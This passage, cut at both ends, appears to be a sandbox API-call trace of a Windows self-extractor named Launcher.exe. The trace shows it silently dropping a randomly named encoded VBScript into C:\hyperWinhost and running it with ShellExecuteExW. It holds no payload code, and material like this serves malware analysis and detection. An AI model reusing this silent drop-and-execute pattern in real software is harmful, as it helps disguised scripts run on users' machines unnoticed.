lpDistanceToMoveHigh=0x35eb14*=0) returned 0x11758d [0038.398] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f890 [0038.398] ReadFile (in: hFile=0x14c, lpBuffer=0x61f890, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f890*, lpNumberOfBytesRead=0x35c9d4*=0x7, lpOverlapped=0x0) returned 1 [0038.398] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x61f890, Size=0x48) returned 0x620f78 [0038.398] ReadFile (in: hFile=0x14c, lpBuffer=0x620f7f, nNumberOfBytesToRead=0x2e, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x620f7f*, lpNumberOfBytesRead=0x35c9d4*=0x2e, lpOverlapped=0x0) returned 1 [0038.398] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620f78 | out: hHeap=0x590000) returned 1 [0038.398] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="pd7Yx3rYmMqL9vJy.vbe", cchCount2=1) returned 1 [0038.399] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="pd7Yx3rYmMqL9vJy.vbe", cchCount2=-1) returned 1 [0038.399] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1144258, lpDistanceToMoveHigh=0x359934*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359934*=0) returned 0x1175c2 [0038.399] LoadStringW (in: hInstance=0x870000, uID=0x65, lpBuffer=0x8b3f98, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0038.399] GetLastError () returned 0x0 [0038.399] SetLastError (dwErrCode=0x0) [0038.399] SetDlgItemTextW (hDlg=0x302a6, nIDDlgItem=101, lpString="Extracting pd7Yx3rYmMqL9vJy.vbe") returned 1 [0038.399] PeekMessageW (in: lpMsg=0x358520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x358520) returned 0 [0038.399] FindFirstFileW (in: lpFileName="pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe"), lpFindFileData=0x3586e8 | out: lpFindFileData=0x3586e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0038.399] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3576c4 | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0038.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe"), lpFindFileData=0x3586e8 | out: lpFindFileData=0x3586e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0038.403] GetLastError () returned 0x2 [0038.403] GetFileAttributesW (lpFileName="pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe")) returned 0xffffffff [0038.403] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x35688c | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0038.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe")) returned 0xffffffff [0038.404] CreateFileW (lpFileName="pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0038.406] GetFileType (hFile=0x150) returned 0x1 [0038.406] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2220020 [0038.406] ReadFile (in: hFile=0x14c, lpBuffer=0x2220020, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x3598bc, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesRead=0x3598bc*=0xc9, lpOverlapped=0x0) returned 1 [0038.406] SendDlgItemMessageW (hDlg=0x302a6, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0038.406] PeekMessageW (in: lpMsg=0x359864, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x359864) returned 0 [0038.406] PeekMessageW (in: lpMsg=0x3598c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598c8) returned 0 [0038.406] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.406] WriteFile (in: hFile=0x150, lpBuffer=0x2220020*, nNumberOfBytesToWrite=0xc9, lpNumberOfBytesWritten=0x3598f0, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesWritten=0x3598f0*=0xc9, lpOverlapped=0x0) returned 1 [0038.408] PeekMessageW (in: lpMsg=0x3598d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598d4) returned 0 [0038.408] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.408] SendDlgItemMessageW (hDlg=0x302a6, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0038.408] PeekMessageW (in: lpMsg=0x35985c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x35985c) returned 0 [0038.408] PeekMessageW (in: lpMsg=0x3598c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598c0) returned 0 [0038.408] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.414] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2220020 | out: hHeap=0x590000) returned 1 [0038.415] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1144459, lpDistanceToMoveHigh=0x359928*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359928*=0) returned 0x11768b [0038.415] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x359934) returned 1 [0038.415] CloseHandle (hObject=0x150) returned 1 [0038.417] SetFileAttributesW (lpFileName="pd7Yx3rYmMqL9vJy.vbe", dwFileAttributes=0x20) returned 1 [0038.417] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eb14*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eb14*=0) returned 0x11768b [0038.417] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f890 [0038.417] ReadFile (in: hFile=0x14c, lpBuffer=0x61f890, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f890*, lpNumberOfBytesRead=0x35c9d4*=0x7, lpOverlapped=0x0) returned 1 [0038.417] ReadFile (in: hFile=0x14c, lpBuffer=0x61f897, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f897*, lpNumberOfBytesRead=0x35c9d4*=0xc, lpOverlapped=0x0) returned 1 [0038.418] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61f890 | out: hHeap=0x590000) returned 1 [0038.418] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1144549, lpDistanceToMoveHigh=0x359928*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359928*=0) returned 0x1176e5 [0038.418] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eb14*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eb14*=0) returned 0x1176e5 [0038.418] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f890 [0038.418] ReadFile (in: hFile=0x14c, lpBuffer=0x61f890, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f890*, lpNumberOfBytesRead=0x35c9d4*=0x7, lpOverlapped=0x0) returned 1 [0038.418] ReadFile (in: hFile=0x14c, lpBuffer=0x61f897, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f897*, lpNumberOfBytesRead=0x35c9d4*=0x1, lpOverlapped=0x0) returned 1 [0038.418] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61f890 | out: hHeap=0x590000) returned 1 [0038.419] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e4f20 | out: hHeap=0x590000) returned 1 [0038.419] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e5fe8 | out: hHeap=0x590000) returned 1 [0038.420] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x661ff0 | out: hHeap=0x590000) returned 1 [0038.420] CloseHandle (hObject=0x14c) returned 1 [0038.420] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe"), lpFindFileData=0x367618 | out: lpFindFileData=0x367618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28283980, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x28c0d000, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x222b5c00, ftLastWriteTime.dwHighDateTime=0x1d9eafe, nFileSizeHigh=0x0, nFileSizeLow=0x1176ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Launcher.exe", cAlternateFileName="")) returned 0x5929c8 [0038.420] FindClose (in: hFindFile=0x5929c8 | out: hFindFile=0x5929c8) returned 1 [0038.420] ReleaseSemaphore (in: hSemaphore=0x1c, lReleaseCount=64, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0038.420] CloseHandle (hObject=0x1c) returned 1 [0038.420] CloseHandle (hObject=0x148) returned 1 [0038.421] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e4be0 | out: hHeap=0x590000) returned 1 [0038.421] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5dcbd0 | out: hHeap=0x590000) returned 1 [0038.427] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5d4bc0 | out: hHeap=0x590000) returned 1 [0038.428] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c64d8 | out: hHeap=0x590000) returned 1 [0038.428] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c4348 | out: hHeap=0x590000) returned 1 [0038.429] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5410 | out: hHeap=0x590000) returned 1 [0038.429] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e70b0 | out: hHeap=0x590000) returned 1 [0038.429] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e7c10 | out: hHeap=0x590000) returned 1 [0038.429] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc8c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0038.430] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0038.430] ExpandEnvironmentStringsW (in: lpSrc="\"C:/hyperWinhost/\"", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="\"C:/hyperWinhost/\"") returned 0x13 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0038.430] ExpandEnvironmentStringsW (in: lpSrc="pd7Yx3rYmMqL9vJy.vbe", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="pd7Yx3rYmMqL9vJy.vbe") returned 0x15 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0038.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0038.431] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="U") returned 0x2 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0038.432] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc8c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0038.432] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0038.433] ExpandEnvironmentStringsW (in: lpSrc="\"C:/hyperWinhost/\"", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="\"C:/hyperWinhost/\"") returned 0x13 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0038.433] ExpandEnvironmentStringsW (in: lpSrc="pd7Yx3rYmMqL9vJy.vbe", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="pd7Yx3rYmMqL9vJy.vbe") returned 0x15 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0038.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbe", cchCount1=-1, lpString2=".inf", cchCount2=-1) returned 3 [0038.433] GetFileAttributesW (lpFileName="pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe")) returned 0x20 [0038.433] GetFullPathNameW (in: lpFileName="pd7Yx3rYmMqL9vJy.vbe", nBufferLength=0x800, lpBuffer=0x34dc24, lpFilePart=0x34ec24 | out: lpBuffer="C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe", lpFilePart=0x34ec24*="pd7Yx3rYmMqL9vJy.vbe") returned 0x24 [0038.434] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.434] GetProcAddress (hModule=0x75c30000, lpProcName="ShellExecuteExW") returned 0x75c51e46 [0038.434] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x34ebcc | out: lpflOldProtect=0x34ebcc*=0x4) returned 1 [0038.434] ShellExecuteExW (in: pExecInfo=0x34ec4c*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x34ec4c*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x270)) returned 1 [0038.928] CloseHandle (hObject=0x270) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 3 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0038.928] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="U") returned 0x2 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0038.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.929] CompareStringW 